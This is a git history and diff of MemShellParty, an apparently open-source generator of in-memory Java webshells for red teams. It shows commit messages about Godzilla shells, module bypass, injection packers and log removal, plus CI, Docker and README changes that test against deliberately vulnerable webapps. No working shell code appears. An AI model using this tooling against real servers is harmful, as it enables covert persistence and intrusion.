ReaJason 9ed876297a feat: support resin shell generate 2024-12-14 19:33:19 +08:00
ReaJason 74cb677e98 feat: support ssti and expression packer 2024-12-14 19:28:13 +08:00
ReaJason 13ddea499a fix: jsp execute fail in module system 2024-12-14 16:56:53 +08:00
ReaJason 82fddf702f fix: byPassModule not work 2024-12-14 16:26:03 +08:00
ReaJason 8530797a54 ci: update badge 2024-12-12 18:46:39 +00:00
ReaJason 6d12cbba36 fix: glassfish container not run in expected 2024-12-13 02:41:41 +08:00
ReaJason 992aa8a29d fix: glassfish upload error 2024-12-13 02:30:27 +08:00
ReaJason 4ddf8dd3d1 fix: unsupported server 2024-12-13 02:15:44 +08:00
ReaJason 6d7a665ba7 test: rm jetty jsp upload test 2024-12-13 02:10:49 +08:00
ReaJason 15e3af9374 ci: add glassfish test 2024-12-13 01:42:42 +08:00
ReaJason c39075eaae feat: support glassfish shell generate 2024-12-13 01:39:24 +08:00
ReaJason 6c523c55c7 feat: logRemover support Logger.info and warning 2024-12-13 00:37:27 +08:00
ReaJason bb76313410 ci: update badge 2024-12-10 18:03:38 +00:00
ReaJason 1f4a19dd83 fix: server not supported 2024-12-11 01:56:30 +08:00
ReaJason 385de37d56 ci: integration print log 2024-12-11 01:55:14 +08:00
ReaJason 7ddf2c09c4 ci: add wildfly 2024-12-11 01:47:32 +08:00
ReaJason 40c036ab92 style: code format 2024-12-11 01:35:41 +08:00
ReaJason 59b0aeaaca feat: support jboss and undertow 2024-12-11 01:31:20 +08:00
ReaJason 3756197bab ci: update badge 2024-12-10 13:11:57 +00:00
ReaJason 6020e5eaa9 feat: support deserialize packer (but only CB4) 2024-12-10 21:07:41 +08:00
ReaJason 9360408f6d fix: jetty 10 and 11 filter add first failed 2024-12-10 21:05:52 +08:00
ReaJason 0cd08f2a6c ci: dependency error 2024-12-09 23:32:07 +08:00
ReaJason 1ff8fa6128 ci: jacoco execution data not found 2024-12-09 23:30:34 +08:00
ReaJason c07fcc28a4 ci: coverage run failed 2024-12-09 23:06:03 +08:00
ReaJason cfc4c0531f ci: separate unit test and integration test 2024-12-09 22:33:34 +08:00
ReaJason 13cbbdb54f fix: jetty ScriptEngine not work 2024-12-09 21:06:23 +08:00
ReaJason 4feeca1ca8 test: add jetty ScriptEngine test 2024-12-09 21:05:50 +08:00
ReaJason 64f8724903 ci: update badge 2024-12-09 12:32:26 +00:00
ReaJason 4f4384838a test: compile error 2024-12-09 20:29:17 +08:00
ReaJason c72ae586a2 feat: support debug mode 2024-12-09 20:24:58 +08:00
ReaJason d7a40f74b8 fix: tomcat5 valve not work 2024-12-09 01:27:08 +08:00
ReaJason 0e250cac90 ci: update badge 2024-12-08 15:29:18 +00:00
ReaJason 209fc378d0 test: add tomcat5 container 2024-12-08 23:26:32 +08:00
ReaJason d541041f51 ci: update badge 2024-12-08 09:03:10 +00:00
ReaJason 6617d9cc16 ci: add paths-ignore 2024-12-08 17:00:03 +08:00
ReaJason ec42992c8a feat: add boot and webui 2024-12-08 16:59:18 +08:00
ReaJason 3004221fad refactor: extract super class 2024-12-08 16:51:50 +08:00
ReaJason 98b955673b ci: update badge 2024-12-07 12:20:50 +00:00
ReaJason a7cee2ea21 feat: support jetty shell generate 2024-12-07 20:17:40 +08:00
ReaJason b6e6b69339 refactor: simplify ByPassJdkModuleInterceptor 2024-12-07 11:06:45 +08:00
ReaJason cc05dc3934 ci: update badge 2024-12-06 18:17:48 +00:00
ReaJason 61bf9d25bb test: container not auto start 2024-12-07 02:15:15 +08:00
ReaJason ffbe1e454b refactor: separate generate config 2024-12-07 01:49:12 +08:00
ReaJason 85576ab6c7 build: upgrade project JDK 8 to 17 2024-12-05 22:42:02 +08:00
ReaJason 365f4efea0 docs: unify badge style 2024-12-05 22:40:49 +08:00
ReaJason a0d6cbee82 test: use method parameters 2024-12-05 22:40:01 +08:00
ReaJason 421f011974 ci: update badge 2024-12-04 15:21:08 +00:00
ReaJason 0035d1f6a5 fix: godzilla listener check error 2024-12-04 23:19:00 +08:00
ReaJason ba9a7878e0 ci: update badge 2024-12-04 14:43:21 +00:00
ReaJason 75ea80f153 refactor: simplify code 2024-12-04 22:40:58 +08:00
ReaJason 9c5aabb8f0 test: speedup integration test use sharedContainer
refer: https://java.testcontainers.org/test_framework_integration/junit_5/#shared-containers
2024-12-04 21:53:52 +08:00
ReaJason 7887a48fa8 test: fix totalCount calc error 2024-12-04 21:52:07 +08:00
ReaJason c07e1fcf19 fix: same classname inject just once 2024-12-04 21:51:21 +08:00
ReaJason d2036b87f4 ci: update badge 2024-12-03 19:18:05 +00:00
ReaJason b09b671831 test: add more docker compose file 2024-12-04 03:14:08 +08:00
ReaJason d3d3c0186d fix: tomcat9+ filter not work 2024-12-04 03:14:08 +08:00
ReaJason 706e2b06d4 fix: tomcat6 and 7 listener not work 2024-12-04 03:14:08 +08:00
ReaJason e0345767d6 feat: support JDK8 ScriptEngine packer 2024-12-04 03:14:08 +08:00
ReaJason 7d697fe2ec test: fix case name error 2024-12-04 03:14:08 +08:00
ReaJason 14c62376d7 ci: update badge 2024-12-03 13:31:04 +00:00
ReaJason 065c111ad7 ci: fix badge not generate 2024-12-03 21:27:49 +08:00
ReaJason f3da4292bb test: enhance integration report 2024-12-03 21:19:21 +08:00
ReaJason ed51f01b29 docs: update README 2024-12-02 02:09:22 +08:00
ReaJason 81007167ff test: first show failed cases 2024-12-02 02:08:57 +08:00
ReaJason 288766eb9c ci: update badge 2024-12-01 17:14:27 +00:00
ReaJason b8d4c91a1f Merge branch 'master' of github.com:ReaJason/MemShellParty 2024-12-02 01:11:07 +08:00
ReaJason 46dff40932 test: support integration test summary 2024-12-02 01:10:51 +08:00
ReaJason f7bf419f31 fix: command shell use paramName 2024-12-02 01:08:22 +08:00
ReaJason 9fe244e9ca test: add tomcat6-jdk6 integration-test 2024-11-29 18:05:28 +08:00
ReaJason b0ef130e87 docs: add javadoc 2024-11-29 18:04:57 +08:00
ReaJason 714fa99c90 docs: add ByPassJdkModule extend java doc 2024-11-29 02:46:50 +08:00
ReaJason 1a12d426dc ci: update badge 2024-11-28 18:13:54 +00:00
ReaJason 00c36ab90d ci: merge jacoco failed 2024-11-29 02:11:22 +08:00
ReaJason 0e7aa6b0b0 test: fix error 2024-11-29 02:06:24 +08:00
ReaJason 96a00c9dcc fix: typo 2024-11-29 02:02:26 +08:00
ReaJason 886d808f31 feat: support bypassJdkModule and Jakarta 2024-11-29 02:02:04 +08:00
ReaJason b6c881c5cb ci: update badge 2024-11-26 17:18:23 +00:00
ReaJason 400a7bfab7 fix: godzilla manager test failed 2024-11-27 01:17:08 +08:00
ReaJason b78984b858 ci: update badge 2024-11-26 16:42:39 +00:00
ReaJason 21afe14ccd test: rm test.jsp req 2024-11-27 00:41:31 +08:00
ReaJason 7fa4dee03b feat: add godzilla manager and integration container test 2024-11-27 00:36:38 +08:00
ReaJason e718af7440 feat: support tomcat cmd shell and jsp packer 2024-11-27 00:35:35 +08:00
ReaJason a530d77351 test: rm integration 2024-11-27 00:32:21 +08:00
ReaJason 671aef548b docs: add coverage badge 2024-11-24 13:45:55 +08:00
ReaJason 9661eefc3e ci: update badge 2024-11-24 05:43:55 +00:00
ReaJason d620212eb0 ci: generate json file 2024-11-24 13:43:12 +08:00
ReaJason 7d3eb11be6 ci: update badge 2024-11-24 05:37:57 +00:00
ReaJason f0905d83a8 ci: upload badge info 2024-11-24 13:37:07 +08:00
ReaJason 65c9d5847d test: add jacoco 2024-11-24 13:32:05 +08:00
ReaJason bbeff2726d feat: add tomcat listener and valve 2024-11-24 13:31:38 +08:00
ReaJason a20f760cd5 test: io exception in ci 2024-11-24 05:00:48 +08:00
ReaJason 56d5410279 fix: compile error 2024-11-24 04:57:15 +08:00
ReaJason 0cc70940c3 ci: rename 2024-11-24 04:52:26 +08:00
ReaJason d148261a37 feat: add godzilla filter generate 2024-11-24 04:48:15 +08:00
ReaJason 2660076eda ci: add ci test 2024-11-24 04:46:38 +08:00
ReaJason 05b85670d5 MIT license 2024-11-24 04:45:10 +08:00
ReaJason b904fe0851 docs: update README 2024-09-01 15:28:42 +08:00
ReaJason c904f313e2 docs: update README 2024-09-01 15:22:01 +08:00
ReaJason 7a453faeb0 Initial commit 2024-09-01 13:17:19 +08:00
821 changed files with 30094 additions and 63173 deletions
-19
View File
@@ -1,19 +0,0 @@
.git
.gradle
.idea
.vscode
.DS_Store
**/.DS_Store
**/.gradle
**/build
**/bin
web/.react-router
web/.source
web/build
web/node_modules
integration-test
tools
vul
+16 -25
View File
@@ -12,21 +12,18 @@ on:
jobs: jobs:
build-jar: build-jar:
name: Build Jar name: Build Jar
strategy: runs-on: ubuntu-latest
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v6
@@ -42,17 +39,11 @@ jobs:
working-directory: web working-directory: web
run: bun install --frozen-lockfile && bun run build run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle (Linux) - name: Build Boot with Gradle
if: matrix.os == 'ubuntu-latest'
run: ./gradlew :boot:test :boot:bootjar run: ./gradlew :boot:test :boot:bootjar
- name: Build Boot with Gradle (Windows) - name: Upload Boot Jar
if: matrix.os == 'windows-latest' uses: actions/upload-artifact@v4
run: ./gradlew.bat :boot:test :boot:bootjar
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v7
with: with:
name: boot name: boot
path: boot/build/libs/*.jar path: boot/build/libs/*.jar
@@ -62,28 +53,28 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v8 uses: actions/download-artifact@v4
with: with:
name: boot name: boot
path: boot/build/libs path: boot/build/libs
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v4 uses: docker/login-action@v3
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v4 uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4 uses: docker/setup-buildx-action@v3
- name: Build and push - name: Build and push
uses: docker/build-push-action@v7 uses: docker/build-push-action@v6
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -95,15 +86,15 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Publish with Gradle - name: Publish with Gradle
env: env:
+1 -1
View File
@@ -22,7 +22,7 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout code - name: Checkout code
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Build Docker image - name: Build Docker image
run: | run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app . docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
+5 -5
View File
@@ -15,21 +15,21 @@ jobs:
name: Docker Push name: Docker Push
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v4 uses: docker/login-action@v3
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v4 uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4 uses: docker/setup-buildx-action@v3
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v7 uses: docker/build-push-action@v6
with: with:
context: . context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
+12 -24
View File
@@ -9,7 +9,6 @@ on:
- './github/workflows/memshell-integration-test.yml' - './github/workflows/memshell-integration-test.yml'
- '**/memshell/**' - '**/memshell/**'
- '**/packer/**' - '**/packer/**'
- '**/dubbo/**'
concurrency: concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }} group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
@@ -24,9 +23,9 @@ jobs:
- middleware: "tomcat" - middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty" - middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas" - middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap" - middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly" - middleware: "wildfly"
@@ -34,7 +33,7 @@ jobs:
- middleware: "glassfish" - middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin" - middleware: "resin"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara" - middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere" - middleware: "websphere"
@@ -42,49 +41,38 @@ jobs:
- middleware: "websphere7" - middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic" - middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux" - middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob" - middleware: "xxljob"
depend_tasks: "" depend_tasks: ""
- middleware: "struts2" - middleware: "struct2"
depend_tasks: ":vul:vul-struts2:war" depend_tasks: ":vul:vul-struct2:war"
- middleware: "jenkins" runs-on: ubuntu-latest
depend_tasks: ""
- middleware: "geronimo"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "dubbo"
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test - name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle - name: Integration Test with gradle
if: matrix.cases.middleware != 'dubbo'
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Dubbo Integration Test with gradle
if: matrix.cases.middleware == 'dubbo'
run: ./gradlew :integration-test:dubboContainerTest --info
- name: Export Integration Test Summary - name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5 uses: mikepenz/action-junit-report@v5
if: success() || failure() if: success() || failure()
with: with:
report_paths: '**/build/test-results/*/TEST-*.xml' report_paths: '**/build/test-results/test/TEST-*.xml'
+12 -12
View File
@@ -21,9 +21,9 @@ jobs:
- middleware: "tomcat" - middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty" - middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas" - middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap" - middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly" - middleware: "wildfly"
@@ -31,7 +31,7 @@ jobs:
- middleware: "glassfish" - middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin" - middleware: "resin"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara" - middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere" - middleware: "websphere"
@@ -39,25 +39,25 @@ jobs:
- middleware: "websphere7" - middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic" - middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "struts2" - middleware: "struct2"
depend_tasks: ":vul:vul-struts2:war" depend_tasks: ":vul:vul-struct2:war"
runs-on: ubuntu-22.04 runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test - name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
@@ -66,7 +66,7 @@ jobs:
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary - name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v6 uses: mikepenz/action-junit-report@v5
if: success() || failure() if: success() || failure()
with: with:
report_paths: '**/build/test-results/test/TEST-*.xml' report_paths: '**/build/test-results/test/TEST-*.xml'
+16 -16
View File
@@ -14,7 +14,7 @@ jobs:
version-without-v: ${{ steps.get_version.outputs.version-without-v }} version-without-v: ${{ steps.get_version.outputs.version-without-v }}
changelog: ${{ steps.get_changelog.outputs.changelog }} changelog: ${{ steps.get_changelog.outputs.changelog }}
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Get Version - name: Get Version
id: get_version id: get_version
@@ -36,16 +36,16 @@ jobs:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v6
@@ -65,7 +65,7 @@ jobs:
run: ./gradlew :boot:bootjar -x test run: ./gradlew :boot:bootjar -x test
- name: Upload Boot Jar - name: Upload Boot Jar
uses: actions/upload-artifact@v7 uses: actions/upload-artifact@v4
with: with:
name: boot name: boot
path: boot/build/libs/*.jar path: boot/build/libs/*.jar
@@ -75,7 +75,7 @@ jobs:
needs: [ info, build-jar ] needs: [ info, build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -84,26 +84,26 @@ jobs:
path: boot/build/libs path: boot/build/libs
- name: Login to GitHub Container Registry - name: Login to GitHub Container Registry
uses: docker/login-action@v4 uses: docker/login-action@v3
with: with:
registry: ghcr.io registry: ghcr.io
username: ${{ github.repository_owner }} username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }} password: ${{ secrets.GITHUB_TOKEN }}
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v4 uses: docker/login-action@v3
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v4 uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4 uses: docker/setup-buildx-action@v3
- name: Build and push - name: Build and push
uses: docker/build-push-action@v7 uses: docker/build-push-action@v6
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -115,7 +115,7 @@ jobs:
ghcr.io/reajason/memshell-party:latest ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v7 uses: docker/build-push-action@v6
with: with:
context: . context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -130,15 +130,15 @@ jobs:
name: Deploy to Maven Central name: Deploy to Maven Central
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Publish with Gradle - name: Publish with Gradle
env: env:
@@ -156,7 +156,7 @@ jobs:
permissions: permissions:
contents: write contents: write
steps: steps:
- uses: actions/checkout@v6 - uses: actions/checkout@v4
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -1,47 +0,0 @@
name: Single IntegrationTest
on:
workflow_dispatch:
inputs:
depend_tasks:
description: '前置构建任务,如 :boot:jar :generator:jar'
required: false
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
type: string
test_class:
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
required: true
type: string
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
integration-test:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }}
run: ./gradlew ${{ inputs.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+3 -3
View File
@@ -17,16 +17,16 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v6 uses: actions/checkout@v4
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v5 uses: actions/setup-java@v4
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v6 uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle - name: Generator Unit Test with Gradle
run: ./gradlew :generator:test run: ./gradlew :generator:test
-3
View File
@@ -1,3 +0,0 @@
[submodule "libs"]
path = libs
url = https://github.com/ReaJason/javaweb-sources.git
+5 -5
View File
@@ -6,9 +6,9 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
ARG ROUTE_ROOT_PATH="" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
WORKDIR /usr/src/web WORKDIR /usr/src/web
@@ -24,8 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=21. # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.11_10-jdk-noble AS backend FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
WORKDIR /usr/src WORKDIR /usr/src
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:21.0.11_10-jre-noble FROM eclipse-temurin:17.0.15_6-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+5 -5
View File
@@ -25,10 +25,10 @@
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
<p align="center"> <p align="center">
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%"> <img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%"> <img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
